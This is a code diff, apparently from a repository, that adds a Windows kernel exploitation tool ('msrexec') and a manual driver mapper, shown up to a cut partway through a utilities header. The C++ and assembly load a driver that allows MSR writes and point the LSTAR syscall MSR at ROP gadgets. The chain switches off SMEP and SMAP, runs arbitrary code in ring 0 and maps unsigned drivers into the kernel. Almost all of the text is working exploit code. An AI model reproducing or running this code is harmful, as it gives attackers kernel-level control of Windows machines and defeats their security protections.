// sometimes you cannot delete the driver off disk because there are still handles open
|
||||||
|
// to the driver, this means the driver is still loaded into the kernel...
|
||||||
|
try
|
||||||
|
{
|
||||||
|
std::filesystem::remove(
|
||||||
|
std::filesystem::temp_directory_path()
|
||||||
|
.string() + service_name);
|
||||||
|
}
|
||||||
|
catch (std::exception& e)
|
||||||
|
{
|
||||||
|
return STATUS_ABANDONED;
|
||||||
|
}
|
||||||
|
return unload_result;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,89 @@
|
|||||||
|
#include "hmdm_ctx.h"
|
||||||
|
#include "msrexec.hpp"
|
||||||
|
#include "vdm.hpp"
|
||||||
|
|
||||||
|
int __cdecl main(int argc, char** argv)
|
||||||
|
{
|
||||||
|
if (argc < 2)
|
||||||
|
{
|
||||||
|
std::printf("> please provide a path to a driver...\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
|
||||||
|
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
writemsr_t _write_msr =
|
||||||
|
[&](std::uint32_t key, std::uint64_t value) -> bool
|
||||||
|
{
|
||||||
|
return vdm::writemsr(key, value);
|
||||||
|
};
|
||||||
|
|
||||||
|
vdm::msrexec_ctx msrexec(_write_msr);
|
||||||
|
drv::kalloc_t _kalloc = [&](std::size_t size) -> void*
|
||||||
|
{
|
||||||
|
void* alloc_base;
|
||||||
|
msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||||
|
{
|
||||||
|
using ex_alloc_pool_t =
|
||||||
|
void* (*)(std::uint32_t, std::size_t);
|
||||||
|
|
||||||
|
const auto ex_alloc_pool =
|
||||||
|
reinterpret_cast<ex_alloc_pool_t>(
|
||||||
|
get_kroutine(krnl_base, "ExAllocatePool"));
|
||||||
|
|
||||||
|
alloc_base = ex_alloc_pool(NULL, size);
|
||||||
|
});
|
||||||
|
return alloc_base;
|
||||||
|
};
|
||||||
|
|
||||||
|
drv::kmemcpy_t _kmemcpy =
|
||||||
|
[&](void* dest, const void* src, std::size_t size) -> void*
|
||||||
|
{
|
||||||
|
void* result = nullptr;
|
||||||
|
msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||||
|
{
|
||||||
|
const auto kmemcpy =
|
||||||
|
reinterpret_cast<decltype(&memcpy)>(
|
||||||
|
get_kroutine(krnl_base, "memcpy"));
|
||||||
|
|
||||||
|
result = kmemcpy(dest, src, size);
|
||||||
|
});
|
||||||
|
return result;
|
||||||
|
};
|
||||||
|
|
||||||
|
drv::drv_buffer_t drv_buffer;
|
||||||
|
utils::open_binary_file(argv[1], drv_buffer);
|
||||||
|
drv::hmdm_ctx drv_mapper({ _kalloc, _kmemcpy });
|
||||||
|
|
||||||
|
const auto [drv_base, drv_entry] = drv_mapper.map_module(drv_buffer);
|
||||||
|
std::printf("> driver base -> 0x%p, driver entry -> 0x%p\n", drv_base, drv_entry);
|
||||||
|
|
||||||
|
if (!drv_base || !drv_entry)
|
||||||
|
{
|
||||||
|
std::printf("> failed to map driver...\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// call driver entry... its up to you to do this using whatever method...
|
||||||
|
// with VDM you can syscall into it... with msrexec you will use msrexec::exec...
|
||||||
|
NTSTATUS result;
|
||||||
|
msrexec.exec([&result, drv_entry = drv_entry, drv_base = drv_base]
|
||||||
|
(void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||||
|
{
|
||||||
|
using drv_entry_t = NTSTATUS(*)(std::uintptr_t);
|
||||||
|
result = reinterpret_cast<drv_entry_t>(drv_entry)(drv_base);
|
||||||
|
});
|
||||||
|
|
||||||
|
std::printf("> drv entry result -> 0x%x\n", result);
|
||||||
|
const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
|
||||||
|
if (unload_status != STATUS_SUCCESS)
|
||||||
|
{
|
||||||
|
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,208 @@
|
|||||||
|
#include "msrexec.hpp"
|
||||||
|
|
||||||
|
void msrexec_handler(callback_t* callback)
|
||||||
|
{
|
||||||
|
// restore LSTAR....
|
||||||
|
__writemsr(IA32_LSTAR_MSR, m_system_call);
|
||||||
|
|
||||||
|
// call usermode code...
|
||||||
|
(*callback)(ntoskrnl_base, get_system_routine);
|
||||||
|
}
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
|
||||||
|
: wrmsr(wrmsr)
|
||||||
|
{
|
||||||
|
if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget)
|
||||||
|
if (!find_gadgets())
|
||||||
|
DBG_PRINT("> failed to find gadgets...\n");
|
||||||
|
|
||||||
|
if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call)
|
||||||
|
if (!find_globals())
|
||||||
|
DBG_PRINT("> failed to find globals...\n");
|
||||||
|
|
||||||
|
cpuid_eax_01 cpuid_info;
|
||||||
|
__cpuid((int*)&cpuid_info, 1);
|
||||||
|
|
||||||
|
cpuid_eax_07 cpuid_features;
|
||||||
|
__cpuid((int*)&cpuid_features, 7);
|
||||||
|
|
||||||
|
cr4 cr4_value{};
|
||||||
|
cr4_value.debugging_extensions = true;
|
||||||
|
cr4_value.page_size_extensions = true;
|
||||||
|
cr4_value.machine_check_enable = true;
|
||||||
|
|
||||||
|
cr4_value.physical_address_extension =
|
||||||
|
cpuid_info.cpuid_feature_information_edx.physical_address_extension;
|
||||||
|
|
||||||
|
cr4_value.os_fxsave_fxrstor_support =
|
||||||
|
cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions;
|
||||||
|
|
||||||
|
cr4_value.os_xmm_exception_support = true;
|
||||||
|
|
||||||
|
cr4_value.fsgsbase_enable =
|
||||||
|
IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE);
|
||||||
|
|
||||||
|
cr4_value.os_xsave =
|
||||||
|
IsProcessorFeaturePresent(PF_XSAVE_ENABLED);
|
||||||
|
|
||||||
|
cr4_value.pcid_enable =
|
||||||
|
cpuid_info.cpuid_feature_information_ecx
|
||||||
|
.process_context_identifiers;
|
||||||
|
|
||||||
|
m_smep_off.flags = cr4_value.flags;
|
||||||
|
m_smep_off.smep_enable = false;
|
||||||
|
m_smep_off.smap_enable = false; // newer cpus have this on...
|
||||||
|
|
||||||
|
// WARNING: some virtual machines dont have SMEP...
|
||||||
|
// my VMWare VM doesnt... nor does my Virtual Box VM...
|
||||||
|
m_smep_on.flags = cr4_value.flags;
|
||||||
|
m_smep_on.smep_enable = cpuid_features.ebx.smep;
|
||||||
|
m_smep_on.smap_enable = cpuid_features.ebx.smap;
|
||||||
|
|
||||||
|
ntoskrnl_base =
|
||||||
|
reinterpret_cast<void*>(
|
||||||
|
utils::kmodule::get_base("ntoskrnl.exe"));
|
||||||
|
|
||||||
|
get_system_routine =
|
||||||
|
reinterpret_cast<get_system_routine_t>(
|
||||||
|
utils::kmodule::get_export(
|
||||||
|
"ntoskrnl.exe", "RtlFindExportedRoutineByName"));
|
||||||
|
|
||||||
|
DBG_PRINT("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget);
|
||||||
|
DBG_PRINT("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget);
|
||||||
|
DBG_PRINT("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget);
|
||||||
|
DBG_PRINT("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
|
||||||
|
DBG_PRINT("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
|
||||||
|
DBG_PRINT("> m_system_call -> 0x%p\n", m_system_call);
|
||||||
|
|
||||||
|
DBG_PRINT("> m_smep_off -> 0x%p\n", m_smep_off.flags);
|
||||||
|
DBG_PRINT("> m_smep_on -> 0x%p\n", m_smep_on.flags);
|
||||||
|
|
||||||
|
DBG_PRINT("> check to make sure none of these^ are zero before pressing enter...\n");
|
||||||
|
std::getchar();
|
||||||
|
}
|
||||||
|
|
||||||
|
auto msrexec_ctx::find_gadgets() -> bool
|
||||||
|
{
|
||||||
|
m_mov_cr4_gadget =
|
||||||
|
utils::rop::find_kgadget(
|
||||||
|
MOV_CR4_GADGET, "xxxx");
|
||||||
|
|
||||||
|
if (!m_mov_cr4_gadget)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
m_sysret_gadget =
|
||||||
|
utils::rop::find_kgadget(
|
||||||
|
SYSRET_GADGET, "xxx");
|
||||||
|
|
||||||
|
if (!m_sysret_gadget)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
m_pop_rcx_gadget =
|
||||||
|
utils::rop::find_kgadget(
|
||||||
|
POP_RCX_GADGET, "xx");
|
||||||
|
|
||||||
|
if (!m_pop_rcx_gadget)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
auto msrexec_ctx::find_globals() -> bool
|
||||||
|
{
|
||||||
|
const auto [section_data, section_rva] =
|
||||||
|
utils::pe::get_section(
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
LoadLibraryA("ntoskrnl.exe")), ".text");
|
||||||
|
|
||||||
|
const auto ki_system_call =
|
||||||
|
utils::scan(reinterpret_cast<std::uintptr_t>(
|
||||||
|
section_data.data()), section_data.size(),
|
||||||
|
KI_SYSCALL_SIG, KI_SYSCALL_MASK);
|
||||||
|
|
||||||
|
if (!ki_system_call)
|
||||||
|
return {};
|
||||||
|
|
||||||
|
m_system_call = (ki_system_call -
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
section_data.data())) + section_rva +
|
||||||
|
utils::kmodule::get_base("ntoskrnl.exe");
|
||||||
|
|
||||||
|
/*
|
||||||
|
.text:0000000140406CC0 KiSystemCall64
|
||||||
|
.text:0000000140406CC0 0F 01 F8 swapgs
|
||||||
|
.text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset...
|
||||||
|
.text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset...
|
||||||
|
*/
|
||||||
|
|
||||||
|
m_kpcr_rsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 8);
|
||||||
|
m_kpcr_krsp_offset = *reinterpret_cast<std::uint32_t*>(ki_system_call + 17);
|
||||||
|
|
||||||
|
// handle KVA shadowing... if KVA shadowing is
|
||||||
|
// enabled LSTAR will point at KiSystemCall64Shadow...
|
||||||
|
SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 };
|
||||||
|
|
||||||
|
// if SystemKernelVaShadowInformation is not a valid class just
|
||||||
|
// return true and assume LSTAR points to KiSystemCall64...
|
||||||
|
if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr)))
|
||||||
|
{
|
||||||
|
if (kva_info.KvaShadowFlags.KvaShadowEnabled)
|
||||||
|
{
|
||||||
|
const auto [section_data, section_rva] =
|
||||||
|
utils::pe::get_section(
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
LoadLibraryA("ntoskrnl.exe")), "KVASCODE");
|
||||||
|
|
||||||
|
// no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow...
|
||||||
|
if (!section_rva || section_data.empty())
|
||||||
|
return true;
|
||||||
|
|
||||||
|
const auto ki_system_shadow_call =
|
||||||
|
utils::scan(reinterpret_cast<std::uintptr_t>(
|
||||||
|
section_data.data()), section_data.size(),
|
||||||
|
KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK);
|
||||||
|
|
||||||
|
// already set m_syscall_call so we just return true...
|
||||||
|
if (!ki_system_shadow_call)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
// else we update m_system_call with KiSystemCall64Shadow...
|
||||||
|
m_system_call = (ki_system_shadow_call -
|
||||||
|
reinterpret_cast<std::uintptr_t>(
|
||||||
|
section_data.data())) + section_rva +
|
||||||
|
utils::kmodule::get_base("ntoskrnl.exe");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void msrexec_ctx::exec(callback_t kernel_callback)
|
||||||
|
{
|
||||||
|
const thread_info_t thread_info =
|
||||||
|
{
|
||||||
|
GetPriorityClass(GetCurrentProcess()),
|
||||||
|
GetThreadPriority(GetCurrentThread())
|
||||||
|
};
|
||||||
|
|
||||||
|
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
|
||||||
|
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
|
||||||
|
|
||||||
|
// set LSTAR to first rop gadget... race begins here...
|
||||||
|
if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
|
||||||
|
DBG_PRINT("> failed to set LSTAR...\n");
|
||||||
|
else
|
||||||
|
// go go gadget kernel execution...
|
||||||
|
syscall_wrapper(&kernel_callback);
|
||||||
|
|
||||||
|
SetPriorityClass(GetCurrentProcess(), thread_info.first);
|
||||||
|
SetThreadPriority(GetCurrentThread(), thread_info.second);
|
||||||
|
}
|
||||||
|
|
||||||
|
void msrexec_ctx::set_wrmsr(writemsr_t wrmsr)
|
||||||
|
{ this->wrmsr = wrmsr; }
|
||||||
|
|
||||||
|
auto msrexec_ctx::get_wrmsr() -> writemsr_t const
|
||||||
|
{ return this->wrmsr; }
|
||||||
|
}
|
@ -0,0 +1,43 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "utils.hpp"
|
||||||
|
#include "syscall_handler.h"
|
||||||
|
#include <intrin.h>
|
||||||
|
|
||||||
|
#define IA32_LSTAR_MSR 0xC0000082
|
||||||
|
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
|
||||||
|
#define POP_RCX_GADGET "\x59\xc3"
|
||||||
|
#define SYSRET_GADGET "\x48\x0F\x07"
|
||||||
|
|
||||||
|
// not sure how far back this signature goes... works on 1507 though....
|
||||||
|
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
|
||||||
|
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
|
||||||
|
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
|
||||||
|
|
||||||
|
#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC"
|
||||||
|
#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx"
|
||||||
|
static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK);
|
||||||
|
|
||||||
|
using get_system_routine_t = void* (*)(void*, const char*);
|
||||||
|
using callback_t = std::function<void(void*, get_system_routine_t)>;
|
||||||
|
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
|
||||||
|
using writemsr_t = std::function<bool(std::uint32_t, std::uintptr_t)>;
|
||||||
|
|
||||||
|
extern "C" void msrexec_handler(callback_t* callback);
|
||||||
|
inline get_system_routine_t get_system_routine = nullptr;
|
||||||
|
inline void* ntoskrnl_base = nullptr;
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
class msrexec_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit msrexec_ctx(writemsr_t wrmsr);
|
||||||
|
void exec(callback_t kernel_callback);
|
||||||
|
void set_wrmsr(writemsr_t wrmsr);
|
||||||
|
auto get_wrmsr() -> writemsr_t const;
|
||||||
|
private:
|
||||||
|
auto find_gadgets() -> bool;
|
||||||
|
auto find_globals() -> bool;
|
||||||
|
writemsr_t wrmsr;
|
||||||
|
};
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,90 @@
|
|||||||
|
extern msrexec_handler : proc
|
||||||
|
|
||||||
|
.data
|
||||||
|
; offsets into _KPCR/_KPRCB
|
||||||
|
m_kpcr_rsp_offset dq 0h
|
||||||
|
m_kpcr_krsp_offset dq 0h
|
||||||
|
m_system_call dq 0h
|
||||||
|
|
||||||
|
m_mov_cr4_gadget dq 0h
|
||||||
|
m_sysret_gadget dq 0h
|
||||||
|
m_pop_rcx_gadget dq 0h
|
||||||
|
|
||||||
|
m_smep_on dq 0h
|
||||||
|
m_smep_off dq 0h
|
||||||
|
|
||||||
|
public m_smep_on
|
||||||
|
public m_smep_off
|
||||||
|
|
||||||
|
public m_kpcr_rsp_offset
|
||||||
|
public m_kpcr_krsp_offset
|
||||||
|
|
||||||
|
public m_pop_rcx_gadget
|
||||||
|
public m_mov_cr4_gadget
|
||||||
|
public m_sysret_gadget
|
||||||
|
public m_system_call
|
||||||
|
|
||||||
|
.code
|
||||||
|
syscall_handler proc
|
||||||
|
swapgs ; swap gs to kernel gs (_KPCR...)
|
||||||
|
|
||||||
|
mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
|
||||||
|
mov gs:[rax], rsp
|
||||||
|
|
||||||
|
mov rax, m_kpcr_krsp_offset ; load kernel rsp....
|
||||||
|
mov rsp, gs:[rax]
|
||||||
|
|
||||||
|
push rcx ; push RIP
|
||||||
|
push r11 ; push EFLAGS
|
||||||
|
|
||||||
|
mov rcx, r10 ; swapped by syscall instruction so we switch it back...
|
||||||
|
sub rsp, 020h
|
||||||
|
call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
|
||||||
|
add rsp, 020h
|
||||||
|
|
||||||
|
pop r11 ; pop EFLAGS
|
||||||
|
pop rcx ; pop RIP
|
||||||
|
|
||||||
|
mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
|
||||||
|
mov rsp, gs:[rax]
|
||||||
|
|
||||||
|
swapgs ; swap back to TIB...
|
||||||
|
ret
|
||||||
|
syscall_handler endp
|
||||||
|
|
||||||
|
syscall_wrapper proc
|
||||||
|
push r10 ; syscall puts RIP into rcx...
|
||||||
|
pushfq
|
||||||
|
|
||||||
|
mov r10, rcx ; swap r10 and rcx...
|
||||||
|
push m_sysret_gadget ; REX.W prefixed...
|
||||||
|
|
||||||
|
lea rax, finish ; preserved value of RIP by putting it on the stack here...
|
||||||
|
push rax ;
|
||||||
|
|
||||||
|
push m_pop_rcx_gadget ; gadget to put RIP back into rcx...
|
||||||
|
push m_mov_cr4_gadget ; turn smep back on...
|
||||||
|
|
||||||
|
push m_smep_on ; value of CR4 with smep off...
|
||||||
|
push m_pop_rcx_gadget ;
|
||||||
|
|
||||||
|
lea rax, syscall_handler ; rop to syscall_handler to handle the syscall...
|
||||||
|
push rax ;
|
||||||
|
|
||||||
|
push m_mov_cr4_gadget ; disable smep...
|
||||||
|
push m_smep_off ;
|
||||||
|
|
||||||
|
pushfq ; THANK YOU DREW YOU SAVED THE PROJECT!!!
|
||||||
|
pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"...
|
||||||
|
or rax, 040000h ;
|
||||||
|
push rax ;
|
||||||
|
popfq ;
|
||||||
|
|
||||||
|
syscall ; LSTAR points at a pop rcx gadget...
|
||||||
|
; it will put m_smep_off into rcx...
|
||||||
|
finish:
|
||||||
|
popfq ; restore EFLAGS...
|
||||||
|
pop r10 ; restore r10...
|
||||||
|
ret
|
||||||
|
syscall_wrapper endp
|
||||||
|
end
|
@ -0,0 +1,14 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "ia32.hpp"
|
||||||
|
|
||||||
|
extern "C" std::uint32_t m_kpcr_rsp_offset;
|
||||||
|
extern "C" std::uint32_t m_kpcr_krsp_offset;
|
||||||
|
|
||||||
|
extern "C" std::uintptr_t m_pop_rcx_gadget;
|
||||||
|
extern "C" std::uintptr_t m_mov_cr4_gadget;
|
||||||
|
extern "C" std::uintptr_t m_sysret_gadget;
|
||||||
|
|
||||||
|
extern "C" cr4 m_smep_on;
|
||||||
|
extern "C" cr4 m_smep_off;
|
||||||
|
extern "C" std::uintptr_t m_system_call;
|
||||||
|
extern "C" void syscall_wrapper(...);
|
@ -0,0 +1,414 @@
|
|||||||
|
/*
|
||||||
|
WARNING: utils.hpp must be the first file included...
|
||||||
|
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
#define _CRT_SECURE_NO_WARNINGS
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <ntstatus.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
|
||||||
|
#include <fstream>
|
||||||
|
#include <functional>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <map>
|
||||||
|
#include "ia32.hpp"
|
||||||
|
|
||||||
|
#define DBG_PRINT(format, ...) \
|
||||||
|
std::printf(format, __VA_ARGS__ )
|
||||||
|
|
||||||
|
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||||
|
{
|
||||||
|
HANDLE Section;
|
||||||
|
PVOID MappedBase;
|
||||||
|
PVOID ImageBase;
|
||||||
|
ULONG ImageSize;
|
||||||
|
ULONG Flags;
|
||||||
|
USHORT LoadOrderIndex;
|
||||||
|
USHORT InitOrderIndex;
|
||||||
|
USHORT LoadCount;
|
||||||
|
USHORT OffsetToFileName;
|
||||||
|
UCHAR FullPathName[256];
|
||||||
|
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||||
|
|
||||||
|
typedef struct _RTL_PROCESS_MODULES
|
||||||
|
{
|
||||||
|
ULONG NumberOfModules;
|
||||||
|
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||||
|
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||||
|
|
||||||
|
#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
|
||||||
|
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
|
||||||
|
{
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
ULONG KvaShadowEnabled : 1;
|
||||||
|
ULONG KvaShadowUserGlobal : 1;
|
||||||
|
ULONG KvaShadowPcid : 1;
|
||||||
|
ULONG KvaShadowInvpcid : 1;
|
||||||
|
ULONG KvaShadowRequired : 1;
|
||||||
|
ULONG KvaShadowRequiredAvailable : 1;
|
||||||
|
ULONG InvalidPteBit : 6;
|
||||||
|
ULONG L1DataCacheFlushSupported : 1;
|
||||||
|
ULONG L1TerminalFaultMitigationPresent : 1;
|
||||||
|
ULONG Reserved : 18;
|
||||||
|
} KvaShadowFlags;
|
||||||
|
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
|
||||||
|
|
||||||
|
namespace utils
|
||||||
|
{
|
||||||
|
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
|
||||||
|
{
|
||||||
|
static const auto check_mask =
|
||||||
|
[&](const char* base, const char* pattern, const char* mask) -> bool
|
||||||
|
{
|
||||||
|
for (; *mask; ++base, ++pattern, ++mask)
|
||||||
|
if (*mask == 'x' && *base != *pattern)
|
||||||
|
return false;
|
||||||
|
return true;
|
||||||
|
};
|
||||||
|
|
||||||
|
size -= strlen(mask);
|
||||||
|
for (auto i = 0; i <= size; ++i)
|
||||||
|
{
|
||||||
|
void* addr = (void*)&(((char*)base)[i]);
|
||||||
|
if (check_mask((char*)addr, pattern, mask))
|
||||||
|
return reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
|
||||||
|
{
|
||||||
|
std::ifstream fstr(file, std::ios::binary);
|
||||||
|
fstr.unsetf(std::ios::skipws);
|
||||||
|
fstr.seekg(0, std::ios::end);
|
||||||
|
|
||||||
|
const auto file_size = fstr.tellg();
|
||||||
|
|
||||||
|
fstr.seekg(NULL, std::ios::beg);
|
||||||
|
data.reserve(static_cast<uint32_t>(file_size));
|
||||||
|
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::uint32_t get_pid(const wchar_t* proc_name)
|
||||||
|
{
|
||||||
|
PROCESSENTRY32 proc_info;
|
||||||
|
proc_info.dwSize = sizeof(proc_info);
|
||||||
|
|
||||||
|
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||||
|
if (proc_snapshot == INVALID_HANDLE_VALUE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
Process32First(proc_snapshot, &proc_info);
|
||||||
|
if (!wcscmp(proc_info.szExeFile, proc_name))
|
||||||
|
{
|
||||||
|
CloseHandle(proc_snapshot);
|
||||||
|
return proc_info.th32ProcessID;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (Process32Next(proc_snapshot, &proc_info))
|
||||||
|
{
|
||||||
|
if (!wcscmp(proc_info.szExeFile, proc_name))
|
||||||
|
{
|
||||||
|
CloseHandle(proc_snapshot);
|
||||||
|
return proc_info.th32ProcessID;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(proc_snapshot);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
namespace kmodule
|
||||||
|
{
|
||||||
|
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
|
||||||
|
inline void each_module(kmodule_callback_t callback)
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = NULL;
|
||||||
|
|
||||||
|
auto status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer, buffer_size, &buffer_size);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer, buffer_size, &buffer_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
auto full_path = std::string(
|
||||||
|
reinterpret_cast<char*>(
|
||||||
|
modules->Modules[idx].FullPathName));
|
||||||
|
|
||||||
|
if (full_path.find("\\SystemRoot\\") != std::string::npos)
|
||||||
|
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||||
|
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||||
|
|
||||||
|
else if (full_path.find("\\??\\") != std::string::npos)
|
||||||
|
full_path.replace(full_path.find("\\??\\"),
|
||||||
|
sizeof("\\??\\") - 1, "");
|
||||||
|
|
||||||
|
if (!callback(&modules->Modules[idx], full_path.c_str()))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::uintptr_t get_base(const char* module_name)
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = NULL;
|
||||||
|
|
||||||
|
auto status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer, buffer_size, &buffer_size);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer, buffer_size, &buffer_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
